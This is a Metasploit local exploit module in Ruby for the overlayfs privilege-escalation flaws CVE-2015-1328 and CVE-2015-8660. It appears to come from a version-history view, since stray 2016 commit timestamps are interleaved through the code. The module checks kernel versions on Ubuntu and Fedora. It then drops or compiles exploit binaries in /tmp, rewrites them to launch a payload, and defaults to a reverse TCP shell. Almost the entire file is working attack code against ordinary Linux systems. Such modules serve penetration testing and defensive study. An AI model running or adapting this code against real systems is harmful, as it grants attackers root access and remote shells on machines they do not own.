2016-10-05 03:21:53 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require " msf/core "
class MetasploitModule < Msf :: Exploit :: Local
Rank = GoodRanking
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Overlayfs Privilege Escalation' ,
'Description' = > %q{
This module attempts to exploit two different CVEs related to overlayfs .
CVE - 2015 - 1328 : Ubuntu specific - > 3 . 13 . 0 - 24 ( 14 . 04 default ) < 3 . 13 . 0 - 55
3 . 16 . 0 - 25 ( 14 . 10 default ) < 3 . 16 . 0 - 41
3 . 19 . 0 - 18 ( 15 . 04 default ) < 3 . 19 . 0 - 21
CVE - 2015 - 8660 :
Ubuntu :
3 . 19 . 0 - 18 < 3 . 19 . 0 - 43
4 . 2 . 0 - 18 < 4 . 2 . 0 - 23 ( 14 . 04 . 1 , 15 . 10 )
Fedora :
< 4 . 2 . 8 ( vulnerable , un - tested )
Red Hat :
< 3 . 10 . 0 - 327 ( rhel 6 , vulnerable , un - tested )
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'h00die <mike@shorebreaksecurity.com>' , # Module
'rebel' # Discovery
] ,
'DisclosureDate' = > 'Jun 16 2015' ,
'Platform' = > [ 'linux' ] ,
2016-11-18 13:34:46 +00:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2016-10-05 03:21:53 +00:00
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = >
[
[ 'CVE-2015-1328' , { } ] ,
[ 'CVE-2015-8660' , { } ]
] ,
'DefaultTarget' = > 1 ,
'DefaultOptions' = >
{
'payload' = > 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
} ,
'References' = >
[
[ 'EDB' , '39166' ] , # CVE-2015-8660
[ 'EDB' , '37292' ] , # CVE-2015-1328
[ 'CVE' , '2015-1328' ] ,
[ 'CVE' , '2015-8660' ]
]
) )
register_options (
[
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files (must not be mounted noexec)' , '/tmp' ] ) ,
OptEnum . new ( 'COMPILE' , [ true , 'Compile on target' , 'Auto' , [ 'Auto' , 'True' , 'False' ] ] )
] , self . class )
end
def check
def mounts_exist? ( )
vprint_status ( 'Checking if mount points exist' )
if target . name == 'CVE-2015-1328'
if not directory? ( '/tmp/ns_sploit' )
vprint_good ( '/tmp/ns_sploit not created' )
return true
else
print_error ( '/tmp/ns_sploit directory exists. Please delete.' )
return false
end
elsif target . name == 'CVE-2015-8660'
if not directory? ( '/tmp/haxhax' )
vprint_good ( '/tmp/haxhax not created' )
return true
else
print_error ( '/tmp/haxhax directory exists. Please delete.' )
return false
end
end
end
def kernel_vuln? ( )
os_id = cmd_exec ( 'grep ^ID= /etc/os-release' )
case os_id
when 'ID=ubuntu'
kernel = Gem :: Version . new ( cmd_exec ( '/bin/uname -r' ) )
case kernel . release . to_s
when '3.13.0'
if kernel . between? ( Gem :: Version . new ( '3.13.0-24-generic' ) , Gem :: Version . new ( '3.13.0-54-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '3.16.0'
if kernel . between? ( Gem :: Version . new ( '3.16.0-25-generic' ) , Gem :: Version . new ( '3.16.0-40-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '3.19.0'
if kernel . between? ( Gem :: Version . new ( '3.19.0-18-generic' ) , Gem :: Version . new ( '3.19.0-20-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
elsif kernel . between? ( Gem :: Version . new ( '3.19.0-18-generic' ) , Gem :: Version . new ( '3.19.0-42-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '4.2.0'
if kernel . between? ( Gem :: Version . new ( '4.2.0-18-generic' ) , Gem :: Version . new ( '4.2.0-22-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
else
print_error ( " Non-vuln kernel #{ kernel } " )
return false
end
when 'ID=fedora'
kernel = Gem :: Version . new ( cmd_exec ( '/usr/bin/uname -r' ) . sub ( / \ .fc.* / , '' ) ) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel . release < Gem :: Version . new ( '4.2.8' )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660. Exploitation UNTESTED " )
return true
else
print_error ( " Non-vuln kernel #{ kernel } " )
return false
end
else
print_error ( " Unknown OS: #{ os_id } " )
return false
end
end
if mounts_exist? ( ) && kernel_vuln? ( )
return CheckCode :: Appears
else
return CheckCode :: Safe
end
end
def exploit
if check != CheckCode :: Appears
fail_with ( Failure :: NotVulnerable , 'Target not vulnerable! punt!' )
end
filename = rand_text_alphanumeric ( 8 )
executable_path = " #{ datastore [ 'WritableDir' ] } / #{ filename } "
payloadname = rand_text_alphanumeric ( 8 )
payload_path = " #{ datastore [ 'WritableDir' ] } / #{ payloadname } "
def has_prereqs? ( )
gcc = cmd_exec ( 'which gcc' )
if gcc . include? ( 'gcc' )
vprint_good ( 'gcc is installed' )
else
print_error ( 'gcc is not installed. Compiling will fail.' )
end
return gcc . include? ( 'gcc' )
end
compile = false
if datastore [ 'COMPILE' ] == 'Auto' || datastore [ 'COMPILE' ] == 'True'
if has_prereqs? ( )
compile = true
vprint_status ( 'Live compiling exploit on system' )
else
vprint_status ( 'Dropping pre-compiled exploit on system' )
end
end
if check != CheckCode :: Appears
fail_with ( Failure :: NotVulnerable , 'Target not vulnerable! punt!' )
end
2016-10-16 00:57:31 +00:00
def upload_and_chmod ( fname , fcontent , cleanup = true )
2016-10-05 03:21:53 +00:00
print_status " Writing to #{ fname } ( #{ fcontent . size } bytes) "
rm_f fname
write_file ( fname , fcontent )
cmd_exec ( " chmod +x #{ fname } " )
2016-10-16 00:57:31 +00:00
if cleanup
register_file_for_cleanup ( fname )
end
2016-10-05 03:21:53 +00:00
end
def on_new_session ( session )
super
if target . name == 'CVE-2015-1328'
session . shell_command ( " /bin/su " ) #this doesnt work on meterpreter?????
2016-10-16 00:57:31 +00:00
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session . shell_command ( 'rm -f /etc/ld.so.preload' )
session . shell_command ( 'rm -f /tmp/ofs-lib.so' )
end
end
if compile
begin
if target . name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-1328' , '1328.c' )
fd = :: File . open ( path , " rb " )
cve_2015_1328 = fd . read ( fd . stat . size )
fd . close
# pulled out from 1328.c's LIB define
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-1328' , 'ofs-lib.c' )
fd = :: File . open ( path , " rb " )
ofs_lib = fd . read ( fd . stat . size )
fd . close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-8660' , '8660.c' )
fd = :: File . open ( path , " rb " )
cve_2015_8660 = fd . read ( fd . stat . size )
fd . close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
2016-10-05 03:21:53 +00:00
end
end
2016-10-16 00:57:31 +00:00
2016-10-05 03:21:53 +00:00
if compile
if target . name == 'CVE-2015-1328'
cve_2015_1328 . gsub! ( / execl \ (" \/ bin \/ su","su",NULL \ ); / ,
" execl( \" #{ payload_path } \" , \" #{ payloadname } \" ,NULL); " )
upload_and_chmod ( " #{ executable_path } .c " , cve_2015_1328 )
2016-10-16 00:57:31 +00:00
ofs_path = " #{ datastore [ 'WritableDir' ] } /ofs-lib "
upload_and_chmod ( " #{ ofs_path } .c " , ofs_lib )
cmd_exec ( " gcc -fPIC -shared -o #{ ofs_path } .so #{ ofs_path } .c -ldl -w " ) # compile dependency file
register_file_for_cleanup ( " #{ ofs_path } .c " )
2016-10-05 03:21:53 +00:00
else
cve_2015_8660 . gsub! ( / os.execl \ (' \/ bin \/ bash','bash' \ ) / ,
" os.execl(' #{ payload_path } ',' #{ payloadname } ') " )
upload_and_chmod ( " #{ executable_path } .c " , cve_2015_8660 )
end
vprint_status ( " Compiling #{ executable_path } .c " )
2016-10-16 00:57:31 +00:00
cmd_exec ( " gcc -o #{ executable_path } #{ executable_path } .c " ) # compile
2016-10-05 03:21:53 +00:00
register_file_for_cleanup ( executable_path )
else
if target . name == 'CVE-2015-1328'
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-1328' , '1328' )
fd = :: File . open ( path , " rb " )
cve_2015_1328 = fd . read ( fd . stat . size )
fd . close
upload_and_chmod ( executable_path , cve_2015_1328 )
2016-10-16 00:57:31 +00:00
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-1328' , 'ofs-lib.so' )
fd = :: File . open ( path , " rb " )
ofs_lib = fd . read ( fd . stat . size )
fd . close
ofs_path = " #{ datastore [ 'WritableDir' ] } /ofs-lib "
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod ( " #{ ofs_path } .so " , ofs_lib , false )
2016-10-05 03:21:53 +00:00
# overwrite with the hardcoded variable names in the compiled versions
2016-10-16 00:57:31 +00:00
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
2016-10-05 03:21:53 +00:00
else
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-8660' , '8660' )
fd = :: File . open ( path , " rb " )
cve_2015_8660 = fd . read ( fd . stat . size )
fd . close
upload_and_chmod ( executable_path , cve_2015_8660 )
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod ( payload_path , generate_payload_exe )
vprint_status ( 'Exploiting...' )
output = cmd_exec ( executable_path )
output . each_line { | line | vprint_status ( line . chomp ) }
end
end